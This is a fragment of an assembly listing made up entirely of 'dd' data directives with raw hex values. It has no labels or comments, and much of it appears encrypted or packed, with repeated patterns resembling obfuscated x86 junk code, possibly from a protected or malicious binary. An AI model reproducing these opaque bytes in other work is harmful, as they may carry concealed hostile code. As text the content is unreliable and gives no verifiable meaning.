		dd 0D8178144h, 6A933A70h, 0F11D2176h, 0FE9FFA8Fh, 0AE1C3B5Bh
		dd 164B3C1Dh, 7F1A3C74h, 0E6D96557h, 0DB3E70FEh, 0EB3E78F6h
		dd 0F71A3C61h, 0FFD96D36h, 682970DCh, 0F81D233Ah, 0F1F3B21Fh
		dd 9B2EBDC5h, 0C7135186h, 74C3C1Dh, 0F71A3C74h,	0A5D96257h
		dd 0F93E48FEh, 0FA3E78F6h, 7F1A3C6Eh, 16D96A31h, 492F5C3Bh
		dd 42AFC3A4h, 761C3B46h, 719BEEB6h, 0E29FB157h,	941C360Ch
		dd 7CF26C77h, 9F1A3C77h, 5642FF2Fh, 6E1E1833h, 0E11E1833h
		dd 0BB1A3C77h, 3986FF27h, 0C7AFB51Dh, 801C3B64h, 5DD3BDA7h
		dd 56693288h, 0E800C5F2h, 0A71A5671h, 0FB1A3F9Fh, 3E421C77h
		dd 0DA5EB52Fh, 5B5EBD73h, 0BF1A2173h, 1C4A7C77h, 82EA0018h
		dd 0B6177E2Bh, 7EDCD751h, 0FB1D1072h, 939FB530h, 171C3B71h
		dd 8D14CC14h, 3AA581C8h, 0CB1EBD48h, 9879195Ah,	0F27B81FCh
		dd 48E53A70h, 0F81D0DDAh, 97483C1Dh, 0BF1A3C74h, 85D96657h
		dd 0EB3E68FEh, 0F33E78F6h, 0FB1A3C6Fh, 0D1D96E35h, 70979A0Ah
		dd 5A8FB717h, 3F1C3B47h, 527B05ABh, 0E56123F2h,	0F712D571h
		dd 26C43C77h, 70685D42h, 2EE553D5h, 97483C1Dh, 0BF1A3C74h
		dd 85D96657h, 0EB3E68FEh, 0F33E78F6h, 0FB1A3C6Bh, 2BD96E35h
		dd 3367012Bh, 82E6441Bh, 0DBCBBD11h, 5A973DA7h,	661C3B55h
		dd 0F00069F2h, 359B5A71h, 78DC2C25h, 0F81D1072h, 0B6973524h
		dd 571C3B66h, 0DF1A3C73h, 762363E7h, 0F71FBC78h, 0DBA33C77h
		dd 0AD4E5B3Eh, 0FE1A369Eh, 5D930977h, 0B7BDCA33h, 54439413h
		dd 501E1833h, 0E94E566Fh, 4A4B3CFCh, 0B9936607h, 35913853h
		dd 2A1A562Fh, 0BF1A3F9Fh, 1C471C77h, 0CB76B52Ah, 0D35EBD73h
		dd 0FB1A2673h, 3E4F7977h, 65DDE876h, 801372F8h,	0B82B91C2h
		dd 8D1A5671h, 0EF1A3F9Fh, 34401C77h, 0DF4EB52Dh, 0D95EBD73h
		dd 0FE1A2873h, 0BC487E77h, 0A09FB1ABh, 561C360Ch, 0E82801F2h
		dd 1FCAC371h, 0FB1A3C72h, 0EE16E7B9h, 2F9B5A4Eh, 0F643D96Fh
		dd 0B81A81F2h, 8A1A5671h, 0EF1A3F9Fh, 34471C77h, 0DF76B52Ah
		dd 0D95EBD73h, 0FE1A2973h, 0BC4F7977h, 0ADF2C9BCh, 751A3C77h
		dd 5D50F80Bh, 94D8A8B8h, 8245DDE1h, 16EA16F9h, 0FC2985E6h
		dd 0B9407629h, 0B83639F2h, 62936B71h, 0E91D222Ah, 0F71A389Fh
		dd 0FF483A77h, 73155CE7h
		dd 0FE1A3C74h, 0CDE8B711h, 574A5D8Eh, 0DF1A3C7Ah, 0CAC0D44h
		dd 69F02A6Fh, 22B09448h, 0FD16D53Fh, 2FCF3C77h,	0BE17FE11h
		dd 0E3BAF080h, 5445EFB0h, 891E1833h, 0F791CEFCh, 51FC6ECDh
		dd 0D95EB567h, 177A6D73h, 7F1A3C79h, 34377412h,	0AC4A8CEDh
		dd 982E63F1h, 7015AF8Fh, 0FB1A3C77h, 0F2426516h, 4BE5C2C8h
		dd 791D0DDAh, 39CDBD11h, 0C09FB15Dh, 851C360Ch,	0F4F26B77h
		dd 0DB1A3C77h, 7445FF28h, 7F1E180Bh, 621E1833h,	0F81A3C77h
		dd 7171FF20h, 2AB4BA67h, 550F048Bh, 0FB70EC88h,	0FD19D421h
		dd 0A03A3C77h, 0B9362B4h, 0FB9B3853h, 0DF0F3853h, 0B95C3C77h
		dd 7C800DB4h, 0FC08BDE2h, 54A7B571h, 771C3B63h,	7800F5F2h
		dd 17C5C71h, 422B4ACCh,	0E91D370Eh, 0F29FFA16h,	0B81C3B5Bh
		dd 15493C1Dh, 0FE1A3C74h, 24D96757h, 0BB3E60FEh, 0DB3E78F6h
		dd 0EF1A3C61h, 41D96F34h, 6E91C0FFh, 0FB1D10E2h, 6AE4651Fh
		dd 8C915AFAh, 703E38F6h, 5634C706h, 0E80A69E2h,	5AAFC371h
		dd 911C3B46h, 0FEF26F77h, 0DE1A3C77h, 0F641FF2Ch, 3E1E182Bh
		dd 0C21E1833h, 0AC1A3C77h, 0E16FF24h, 0A70DD7A9h, 154CAD5Bh
		dd 0FE1A399Eh, 0AB28F377h, 3A970A09h, 0D9104768h, 0F1BBB15Eh
		dd 27E53A70h, 50CBBD11h, 849FB56Bh, 941C3B64h, 7CF26977h
		dd 9F1A3C77h, 5647FF2Ah, 6E1E181Bh, 0EB1E1833h,	0BE1A3C77h
		dd 0C8EAFF22h, 3C6C3B51h, 8352500Ah, 0BE1B89FCh, 5A973A70h
		dd 0E9109ACAh, 1F483C1Dh, 0FB1A3C74h, 0A7D96657h, 0FA3E68FEh
		dd 7B3E78F6h, 0BF1A3C62h, 51D96E35h, 6EAFB70Fh,	671C3B62h
		dd 0DA308211h, 77486C27h, 0A82B3383h, 25456221h, 0BF70AC2Fh
		dd 0DF19D421h, 0B13A3C77h, 839362B4h, 0BF9B3853h, 0FD0E3853h
		dd 0A85C3C77h, 9A9A5AB4h, 0BF16D5EAh, 8F4F3C77h, 106413D9h
		dd 0F175EB49h, 6EE5EF9Ah, 0FB1D2C86h, 0D6CFA976h, 0F6153A70h
		dd 0BF1A3C71h, 0A990DDF6h, 379178B5h, 1EE8B711h, 0FB1A3C64h
		dd 0DAD03931h, 29498748h, 2C3BA35Dh, 3CA07762h,	52D8DC2Dh
		dd 0E5BC8DF2h, 0A11A5671h, 0FB1A3F9Fh, 3E441C77h, 0DA6EB529h
		dd 5B5EBD73h, 0BF1A2173h, 1C4C7A77h, 28375007h,	0C61CF7ADh
		dd 724A0444h, 0FD701873h, 0FE19D424h, 243A3C77h, 0E39367B4h
		dd 9B9B3853h, 0EF003853h, 0A4593C77h, 544182B4h, 0BE4A1C65h
		dd 0CE7FB1FCh, 19893A70h, 0EFE16FCDh, 490ED4C8h, 0EF70AF24h
		dd 0F719D420h, 0A43A3C77h, 819363B4h, 0BA9B3853h, 7F0F3853h
		dd 0E85D3C77h, 542CDEB4h, 0E82BA5C2h, 168FC371h, 911C3B7Ch
		dd 0FEF26977h, 0DE1A3C77h, 0F647FF2Ah, 3E1E181Bh, 0C71E1833h
		dd 0AA1A3C77h, 1663FF22h, 0F4161AEFh, 0FD1A30F7h, 0F89F3377h
		dd 0FE1A3C77h, 19942DA9h, 8E9FB54Ch, 851C3B64h,	0F4F26E77h
		dd 0DB1A3C77h, 7440FF2Dh, 7F1E1823h, 6B1E1833h,	0FD1A3C77h
		dd 183EFF25h, 0E83629F2h, 0F71A3371h, 0B0FBBD77h, 22F323Ch
		dd 0F9096DE2h, 0F6873571h, 361C3B73h, 0D807B1F2h, 0B81A5671h
		dd 0F71A3F9Fh, 38451C77h, 0D966B528h, 0DA5EBD73h, 7F1A2073h
		dd 7C4D7B77h, 0A3CA36ADh, 414DB9DDh, 0DAC0BD33h, 7056613Dh
		dd 0FA3719F2h, 0CD87B171h, 0F61C36CEh, 2973D34h, 0D91D12CAh
		dd 561789FAh, 0C4A33A7Dh, 81A3C77h, 4529D7D3h, 0FE1A3C77h
		dd 7C6EFC7Ch, 341A24B5h, 8C161833h, 0EF1A3C9Fh,	349B6777h
		dd 0FB1A3C60h, 0ED3E60FEh, 0EA3E78FEh, 0DF2D842Ch, 5FE53CEBh
		dd 0DB3E78FCh, 5291DC88h, 0F11D1136h, 134A3C1Dh, 0FD1A3C74h
		dd 0A6D96457h, 7B3E78FEh, 0BB3E78F6h, 0DF1A3C6Ch, 45D96C37h
		dd 60EF5DD9h, 0F47A98B0h, 0FD1A3AF9h, 2FAF1777h, 0F61C3B7Fh
		dd 0B81D1DC2h, 0DF705D71h, 0EF19D426h, 0AE3A3C77h, 0B79365B4h
		dd 0B99B3853h, 0FE0F3853h, 2E5B3C77h, 5CBC5B4h,	0F90FB2E1h
		dd 49AB81FAh, 7A973A7Dh, 0FD1085CDh, 0DBB109CFh, 339F0FEFh
		dd 541C3B68h, 17F3FDB8h, 9F891A56h, 77EF1A3Fh, 2934441Ch
		dd 73DF6EB5h, 73D95EBDh, 77FE1A27h, 0F305E983h,	6AD98BA4h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0BD5CC350h, 71E90Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 6424CCC3h
		dd 84D87714h, 6A610Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0E9BA19C3h, 8, 96B0301Ch, 0FCC79F60h
		dd 840FFCC3h, 1Bh, 0FE960h, 6D40000h, 0B98AC34h, 7FE40B16h
		dd 7CC35D77h, 0E681662Fh, 8B61555Dh, 11E9C0h, 767C0000h
		dd 0B63A1259h, 19A2DFE6h, 0A2F2378Dh, 0F8317A2Eh, 0FF5BD83h
		dd 75000607h, 1BD8309h,	60730h,	53501974h, 0B9B8C08Bh
		dd 89000004h, 7265D85h,	0E9D8D06h, 0FF0609ADh, 83585BD3h
		dd 73001BDh, 17740006h,	0B9B85350h, 89000004h, 7265D85h
		dd 0AF9D8D06h, 0FF0609A9h, 0E9585BD3h, 0Dh, 7202708Dh
		dd 0A248F4D0h, 627FBDCh, 0FFBF6055h, 0F8143D55h, 0E9C08B61h
		dd 13h,	45AD0091h, 0B0370BB7h, 0F4CDF5F7h, 80D10757h, 407F933Ch
		dd 6AC18Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 4409AC3h,	0D3450185h, 0A1BD334Eh,	0BE060713h
		dd 25CBB53Eh, 4EBh, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0D4AAE5C3h, 68D51C96h
		dd 1AE9BD89h, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 8D55A5C3h, 7078585h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0DEE9823Bh, 0B58B149Bh, 607321Dh, 17810F90h,	0E8000000h
		dd 11h,	0F24B6D79h, 43B9E26Eh, 6FC0C9CBh, 0B615E489h, 60505F6Fh
		dd 0C68B6660h, 4E5045BEh, 8D0F6134h, 13h, 0DE8h, 9CDEB000h
		dd 6F7DD7CCh, 97FBECECh, 6158AF7Dh, 1823BE90h, 6A5CE3h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0BCC35646h
		dd 3CBFF922h, 6A5367D2h, 0EF816600h, 858DADFFh,	60ABD02h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0EFC35242h
		dd 0E74FB926h, 68E0Fh, 9D290000h, 6071E99h, 0DEB70F60h
		dd 5C08361h, 0C20CEF81h, 509034B6h, 48E0Fh, 0BF660000h
		dd 6A90874Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0D774C352h, 9BA46055h,	8BE8C68Ah
		dd 70481BDh, 8B006A06h,	0FF006AFEh, 704C195h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0A9B52387h, 8D060720h, 0AA64F9Dh, 0FABF0F06h, 6AD3FFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 850901C3h, 6073165h,	32F185FFh, 85290607h, 60707BDh
		dd 6C3E9h, 0E800h, 815D0000h, 0ABD0CEDh, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
		dd 0E6E444C8h, 9C02C26Dh, 5E9E2B0h, 0BC000000h,	0FEB9C752h
		dd 2C15BD81h, 7D00607h,	860F0000h, 154h, 0C78B6660h, 24998D89h
		dd 8B610607h, 710B99Dh,	57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0FF123CF1h, 0CBD5D162h
		dd 0B50BB1CBh, 6071E1Dh
		dd 100E381h, 0BD8B0000h, 6070471h, 2C8D9531h, 0DB0B0607h
		dd 8D850Fh, 0BD830000h,	60ABB38h, 3C840F00h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 34B3C350h, 868B697Bh, 18D86B27h, 8F0Fh, 8BE90000h
		dd 0F000000h, 68Eh, 0A0D78100h,	0C775ACE0h, 0ABB3885h
		dd 106h, 0C564BE00h, 6BE92253h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0E336C356h
		dd 0E9664898h, 0Bh, 78802DC7h, 0D3233C30h, 0C71A358Ch
		dd 0ABB3885h, 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 81CE76EBh, 831CE48Ah
		dd 0DDB589h, 0F98B0607h, 2549B58Bh, 9D8D0607h, 60710B9h
		dd 8843C781h, 2381709Dh, 0FFFFFEFFh, 10E8h, 0F92E1300h
		dd 0CCDB8E98h, 0FA91E844h, 417B8CF9h, 0FD8D3184h, 5E060706h
		dd 31BD8B50h, 5E06070Eh, 6ADB8C66h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0D9FCC350h
		dd 0F681665Ah, 0C3F633C3h, 6C840F04h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 9760C356h, 37A68788h, 0A5B58BE5h, 0FF060724h, 7135195h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 3788A776h, 0A769BF87h, 0F7B70F05h, 8880F90h
		dd 0F000000h, 284h, 50616000h, 6690F28Bh, 0E929C4BEh, 33Ch
		dd 0C99B58Bh, 0B00607h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 62C35545h, 661F62B5h,	70E6FB8Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 95C35141h, 64014208h
		dd 9868AE53h, 0A98D89D7h, 0E4060720h, 52006A71h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
		dd 0A1C94AE5h, 8B741C27h, 71DD9BDh, 0FF28B06h, 6AD8B6h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0EEB6B2C3h, 453DB40Ch, 89512F07h, 70C899Dh, 6BA06h
		dd 8B660000h, 0BFC38BF1h, 2590F0AAh, 2AABF66h, 6A04E8C1h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 9D73C356h, 89E2F766h, 70E4D95h, 93D82B06h
		dd 4850F50h, 66000000h,	93D100BEh, 2C59BD89h, 0B5FF0607h
		dd 6072C15h, 59D18060h,	12F1B58Bh, 0FF610607h, 716B595h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 3DCC4215h, 1EEEB8EDh, 12E985h, 4B960000h
		dd 0DF82C94Dh, 59EE4D2Eh, 0C5152DDAh, 0E7F68451h, 88BE00B0h
		dd 0E616FCDDh, 57006A70h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0D3A5B3D6h, 0BD23E8AEh
		dd 6070341h, 8B6671E4h,	0F613CFEh, 1AB83h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 8B0607F6h, 71B95BDh,	0D8B60F06h, 3209BD89h, 6BA0607h
		dd 23000000h, 712F9B5h,	89C38B06h, 72E71BDh, 6890F06h
		dd 89000000h, 71AADBDh,	4E8C106h, 4FD4BE66h, 81E2F766h
		dd 622C43DEh, 6AD82B6Ch, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0B104C350h,	0F28B6692h
		dd 59BD8B58h, 2B060722h, 1D880FD8h, 6A000001h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 0B67BC351h, 82EAC245h, 7B9h,	59B52300h, 8306071Bh, 0B52B00C1h
		dd 6071CD5h, 860FD93Bh,	0E0h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 1CC35242h, 7025E0F3h, 39AFA8EAh
		dd 6AD98C66h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 159C357h, 3A39FAD1h, 81F9BF0Fh
		dd 1F130EFh, 4C1F623h, 80840Fh,	0BD890000h, 60702ADh, 135195FFh
		dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 9CB5BCC3h, 0F1D01EDh, 0BF5BF9B7h,	1EEDBCD2h
		dd 5EFAEF81h, 0C32B1074h, 3199529h, 343D0607h, 0F000008h
		dd 3186h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 33BCDFE0h, 28CBD455h, 2599BD23h
		dd 9E90607h, 0F000000h,	0C08BF0BFh, 264FBE66h, 0D88BC38Bh
		dd 15C185C7h, 45390607h, 6A3281h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0EE9B9C3h, 57000000h
		dd 39FC54C2h, 52A0A2A4h, 6E473FA3h, 6AC08BDDh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0A465C352h, 0BD81390Eh, 6072C15h, 7D0h, 36850Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0ACF015C3h, 1AF25F14h, 958939C2h, 60712F9h, 2C1585FFh
		dd 0BD230607h, 6072785h, 2C15B5FFh, 6A0607h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 21CA87C3h
		dd 93693310h, 9E63BE66h, 16B595FFh, 6A0607h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 2B385C3h
		dd 272884E3h, 14E8796Dh, 7C000000h, 2C153A0Bh, 691097B8h
		dd 0F5AC3F82h, 313A1FF4h, 895E511Fh, 70121BDh, 0CE95F06h
		dd 0FE000000h, 75A97205h, 7818E57Eh, 909FC798h,	345678B8h
		dd 38A0F12h, 0F000000h,	9D8DF8BFh, 60AC3AEh, 0FFF940E9h
		dd 0F88B66FFh, 830FC18Bh, 6, 27B5BD89h,	4EB0607h, 0
		dd 6AFA8B66h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0E344C352h, 0F6A95526h, 858D9532h
		dd 6070785h, 2E25BD8Bh,	50900607h, 0B420BF66h, 53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 6C6C81D8h, 8773FFA9h, 0E9006A6Bh, 13h, 0DEEC218Eh, 1F952C20h
		dd 0C4810095h, 9FBF4DB9h, 6A2A726Ch, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 1FC306BDh
		dd 6D1F5F3h, 0FE87F6Fh,	0C6000000h, 0A8FCD598h,	579A50A1h
		dd 351B635Dh, 8B0F6D5Fh, 3, 5FF8BF0Fh, 0C57F858Dh, 5E53060Ah
		dd 0F05C083h, 68Dh, 3AD78100h, 502CDBC4h, 57CB8B60h, 489615Eh
		dd 8D896024h, 607326Dh,	61D88B66h, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 3F2445C3h
		dd 0B19E241Eh, 0BD89C364h, 6071BF9h, 10AEC681h,	0B589761Ch
		dd 6070361h, 0B58B006Ah, 60715A5h, 810Fh, 95FF0000h, 60704C1h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0B6C35343h
		dd 0B4F73941h, 0D59D89FEh, 66060732h, 7F90E681h, 0A64F9D8Dh
		dd 8E0F060Ah, 8, 0D5BD8B53h, 5E06072Fh,	6AD3FFh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0DACA66C3h, 0FC2BBF0h, 85FFF6B7h, 60732F1h, 0E01E9F8h
		dd 0E80000h, 5D000000h,	0C589ED81h, 6A060Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0A3F4F9C3h
		dd 0EED422B9h, 2C15BD81h, 7D00607h, 860F0000h, 12Bh, 0C880Fh
		dd 8C0F0000h, 6, 20E1E681h, 9D8B41E2h, 6070DC5h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 6BC35747h, 9447E507h
		dd 9685039Ah, 81F2B70Fh, 100E3h, 8A0F00h, 0B000000h, 8E850FDBh
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 89CAC357h, 72A9DB5h, 91BD8906h
		dd 83060720h, 0AC3DABDh, 840F0006h, 35h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 17h, 0EAC35545h, 315661F1h
		dd 72589B5h, 5EE906h, 81660000h, 810BAAE6h, 8A8081C7h
		dd 0DA85C767h, 1060AC3h, 57000000h, 8E9h, 0EC918200h, 28D55C2Eh
		dd 35E95FCEh, 89000000h, 701E995h, 0DA85C706h, 60AC3h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0C8AEC356h, 0BD8B18FFh, 6072E19h
		dd 0DC59D8Dh, 0B70F0607h, 0FF2381F6h, 0FFFFFFEh, 680h
		dd 0E0C78100h, 66003F0Fh, 6ADB8Ch, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 2586A9C3h, 0B795BFC6h
		dd 0F7814498h, 6344A2E5h, 0F04C3F6h, 0B384h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0B5952948h, 0FF060710h, 7135195h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 11B67F1Dh
		dd 89E7DC0Eh, 71EBDB5h,	9E906h,	59ED0000h, 5D5DA15Fh, 50E7D4E1h
		dd 12E8h, 63ACCD00h, 8350E0D8h,	0A1A9E6E8h, 0B257F987h
		dd 0E867AD7Ah, 8, 0A59A0E27h, 7D94A094h, 5E5E6160h, 6A240489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 59B6C356h, 5E970D2h, 6000000h, 6AEAFA58h
		dd 3BFE9h, 0A9BD8B00h, 0B0060726h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0F39B5B8Ah
		dd 4DB589B1h, 2906072Dh, 71CA5B5h, 6A70E606h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 442AC353h, 0CC0A4E3Eh, 0E455B045h, 50006A71h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 0F91F092Ah, 12DD9D31h, 0B60F0607h, 0ADB58BD8h, 0BA06070Bh
		dd 6, 0BE59D01h, 0C38B0607h, 0E1958956h, 5E06072Dh, 6A04E8C1h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 4B80C355h, 0C4DE8187h, 8B79C1ADh,	70E39BDh
		dd 0E2F76606h, 361BD8Bh, 0D82B0607h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 43C35646h, 21409D3Ah, 93F38B66h
		dd 8B665250h, 50310FF8h, 5A5E5E53h, 0D5BE5058h,	93194E92h
		dd 6870Fh, 0BD8B0000h, 6071355h, 2C15B5FFh, 0B58B0607h
		dd 6072695h, 16B595FFh,	0BE660607h, 0B0E1CEh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0BEC35747h, 8099DD5Ah
		dd 0F5D7F634h, 6A70E6h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 64BF1C3h, 6A71E4h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0A9C828C3h
		dd 35858903h, 3C06071Eh, 19830F61h, 89000002h, 72D7195h
		dd 0D8B60F06h, 1A7D8D89h, 8A0F0607h, 6,	1A6DB58Bh, 6BA0607h
		dd 50000000h, 10B5B58Bh, 8B5F0607h, 55006AC3h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 4CB0E651h
		dd 0E8C19EF9h, 50006A04h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 8ECD974Bh, 66FE8B36h
		dd 6AE2F7h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 8953F7C3h, 72569BDh, 0BE665F06h, 0D82BC530h
		dd 0EE8h, 0D5F3FF00h, 72601325h, 0DCB955F6h, 0B281B98h
		dd 721F5BDh, 6A585E06h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 5E07C355h, 0FD82B9Bh
		dd 13B88h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 72EF93Ch,	0B7E8BA0Eh, 959509B4h
		dd 66060706h, 0BC681h, 7B9h, 6820F00h, 8B000000h, 71269B5h
		dd 0C18306h, 9E8h, 88B99900h, 46BB64E9h, 816687C8h, 5FF102DFh
		dd 860FD93Bh, 0DCh, 0F5BD8956h,	5F06070Ah, 0E9D98C66h
		dd 6, 325BC362h, 0F18B8908h, 0F04C1F6h,	0A284h,	51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 71958917h, 0FF06072Eh, 7135195h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 2ECDB777h
		dd 8501F193h, 607128Dh,	0B595895Bh, 2B060710h, 0BD0B51C3h
		dd 6070BF9h, 8343D5Eh, 860F0000h, 37h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 75C35545h, 1FF75A98h, 49BD29C7h
		dd 0BE060705h, 0F912304h, 1FE9h, 61B58B00h, 8B06072Bh
		dd 8C0F50C0h, 5, 0A8F78166h, 80605F41h,	0D6B97FCFh, 61350D69h
		dd 0D88BC38Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	3BC35040h, 0F98B66EEh, 10B985C7h, 0F9DF0607h, 0F550575Dh
		dd 6AC08B5Eh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0F9AFC357h, 1225B529h,	0BD810607h
		dd 6072C15h, 7D0h, 37850Fh, 0BD230000h,	6071DCDh, 2C1585FFh
		dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 4E6944C3h, 88E767C3h, 8B563DF7h, 715EDB5h
		dd 15B5FF06h, 6A06072Ch, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0D67FC351h,	512657CDh
		dd 1F85BD8Bh, 95FF0607h, 60716B5h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0BAC35242h,	415C5A07h, 8B028567h
		dd 70C05B5h, 6A409006h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 2CCEC356h, 92EBDB8Bh
		dd 2CF9B58Bh, 0BD830607h, 6073129h, 0E840F00h, 6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0D937C352h, 3F19D413h, 3DBE66BDh,	6DBD8334h
		dd 60712h, 0DB840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 771DB2C3h, 30658D89h
		dd 95FF0607h, 6073129h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 52C35545h, 0A05B7932h, 60DF8355h, 1B91852Bh
		dd 81660607h, 6159E5C7h, 0BE8h,	57B10300h, 23ABB93Ah, 0E267D870h
		dd 810Fh, 0B5F0000h, 62840FC0h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 66CCC357h
		dd 20D2F781h, 4E1C8D8Dh, 8D890607h, 6070E39h, 5B8h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 83B40A86h, 89ACD66Ch, 707CD95h, 81E1FF06h, 0E12B6FCFh
		dd 0D5BD832Fh, 60715h, 56C840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0E4BF9C3h
